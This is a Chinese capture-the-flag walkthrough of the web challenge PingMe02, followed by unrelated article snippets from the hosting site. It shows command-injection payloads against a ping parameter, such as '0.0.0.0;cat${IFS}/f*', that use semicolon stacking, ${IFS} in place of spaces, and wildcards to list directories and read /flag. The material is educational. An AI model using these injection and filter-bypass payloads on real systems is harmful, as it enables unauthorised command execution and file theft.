经典ctf ping题目详解 青少年CTF-WEB-PingMe02

题目环境:
image.png

根据题目名称可知
这是一道CTF-WEB方向常考的知识点:ping地址

随便ping一个地址
查看接受的数据包
?ip=0.0.0.0
image.png

有回显数据,尝试列出目录文件
堆叠命令使用’;'作为命令之间的连接符,当上一个命令完成后,继续执行下一个命令

使用堆叠命令
列出此目录下的文件
?ip=0.0.0.0;ls
image.png

ls是Linux系统里面的列出目录文件的命令
索性ls没有被过滤

查看隐藏文件
?ip=0.0.0.0;ls -a
image.png

space空格被过滤了

使用IFS绕过空格

IFS是Linux里面的环境变量,是其内部字段分隔符
可通过${IFS}绕过空格
$IFS$1-n(n>0的正整数)也可绕过空格

?ip=0.0.0.0;ls${IFS}-a
image.png

成功绕多空格
这里猜测没在根目录下,所以才没发现flag

查看当前路径
?ip=0.0.0.0;pwd
image.png

pwd是Linux系统里面查看当前目录/路径的命令
/var/www/html
可知现在是在html目录下
去看’/'根目录下是否有flag的存在

查看根目录下的文件
?ip=0.0.0.0;ls${IFS}/
image.png

发现根目录下存在flag文件

查看根目录下flag文件的内容
?ip=0.0.0.0;cat${IFS}/flag
image.png

cat是Linux系统里面最常见的查看文件内容的命令
这里可以使用其它查看文件内容的命令
less、more、nl等等

使用less查看flag内容
?ip=0.0.0.0;less${IFS}/flag
image.png

flag被过滤
可使用f*和f???进行绕过(注:f后边有几个字符就用几个?进行代替)
代表f开头的文件
因为f开头的文件只有flag这一个文件,所以查的就是flag

?ip=0.0.0.0;less${IFS}/f*
image.png
?ip=0.0.0.0;less${IFS}/f???
image.png
使用more查看flag内容
?ip=0.0.0.0;more${IFS}/f*
image.png
?ip=0.0.0.0;more${IFS}/f???
image.png
使用nl查看flag内容
?ip=0.0.0.0;nl${IFS}/f*
image.png
?ip=0.0.0.0;nl${IFS}/f???
image.png
得到flag:
qsnctf{3c6173ea-c3e2-4a49-858b-e9897e69cee3}

当然Linux系统查看文件内容的命令还有很多,这里就举着三个例子了
如果想效率更更高,我们还可以自己生成Linux常见列出目录文件和查看文件等命令和常用字符以及关键字的字典,并使用BurpSuite进行爆破查看那个命令和字符以及关键字的过滤情况

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/191456.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Buildroot 添加 Qt 支持

Buildroot 添加 Qt 支持 lqonlylove 于 2022-12-03 13:37:34 发布 阅读量2.8k 收藏 12 点赞数3 分类专栏: 根文件系统制作 文章标签: qt buildroot 版权 ​编辑根文件系统制作专栏收录该内容 2 篇文章0 订阅 订阅专栏 一、制作根文件系统 Buildroot 制作根文件系统_l…

​软考-高级-系统架构设计师教程(清华第2版)【第18章 安全架构设计理论与实践(P648~690)-思维导图】​

软考-高级-系统架构设计师教程(清华第2版)【第18章 安全架构设计理论与实践(P648~690)-思维导图】 课本里章节里所有蓝色字体的思维导图

深入了解Java 8 新特性:lambda表达式基础

阅读建议 嗨,伙计!刷到这篇文章咱们就是有缘人,在阅读这篇文章前我有一些建议: 本篇文章大概000多字,预计阅读时间长需要5分钟。本篇文章的实战性、理论性较强,是一篇质量分数较高的技术干货文章&#xf…

MATLAB画图分辨率、图像大小研究

MATLAB画图分辨率、图像大小研究 Figure属性中 InnerPosition Position OuterPosition区别画图与打印的分辨率和图像大小研究首先明确两个概念:MATLAB实操画图 Figure属性中 InnerPosition Position OuterPosition区别 在画图的时候,我们经常需要设置Fi…

迪杰斯特拉算法(C++)

目录 介绍: 代码: 结果: 介绍: 迪杰斯特拉算法(Dijkstras algorithm)是一种用于计算加权图的单点最短路径的算法。它是由荷兰计算机科学家Edsger W. Dijkstra在1956年发明的。 该算法的思路是&#xf…

合成事件在san.js中的应用

一、 什么是合成事件 DOM3 Event 新增了合成事件(CompositionEvent ), 用于处理通常使用 IME 输入时的复杂输入序列。 二、合成事件常见事件 compositionstart:文本合成系统如 IME(即输入法编辑器)开始新的输入合成时会触发 compositionst…

SUID提权教程

SUID提权方法 一、SUID是什么?二、如何设置SUID权限?三、已知的具有SUID权限的二进制可执行文件四、查找具有root权限的SUID的文件1.find命令提权2.nmap命令提权3.more命令提权4.less命令提权5.bash命令提权6.vim命令提权7.awk命令提权8.cp命令提权 五、…

springcloudalibaba-3

一、Nacos Config入门 1. 搭建nacos环境【使用现有的nacos环境即可】 使用之前的即可 2. 在微服务中引入nacos的依赖 <!-- nacos配置依赖 --><dependency><groupId>com.alibaba.cloud</groupId><artifactId>spring-cloud-starter-alibaba-…

【动态规划】求解编辑距离问题

目录 问题描述递推关系运行实例时空复杂度优化Hirschberg 算法 问题描述 编辑距离问题是求解将⼀个字符串转换为另⼀个字符串所需的插⼊、删除、替换的最小次数。 C O M M O M → s u b C O M M U M → s u b C O M M U N → i n s C O M M U N E \mathbb{COMMOM} \overset{sub…

HarmonyOS真机调试报错:INSTALL_PARSE_FAILED_USESDK_ERROR处理

1、 新建应用时选择与自己真机匹配的sdk版本 查看自己设备sdk版本 创建时先择匹配版本&#xff1a; 2、 根据报错提示连接打开处理方案 3、查询真机版本对应的compileSdkVersion 和 compatibleSdkVersion 提示3.1版本之后和3.1版本之前的不同命令&#xff08;此处为3.0版…

Scrum框架中的Sprint

上图就是sprint里要做的事。Sprint是scrum框架的核心&#xff0c;是所有的想法、主意转换为价值的地方。所有实现产品目标的必要工作都在sprint里完成&#xff0c;这些工作主要包括Sprint 计划&#xff08;Sprint planning&#xff09;、每日站会&#xff08;Daily Scrum&#…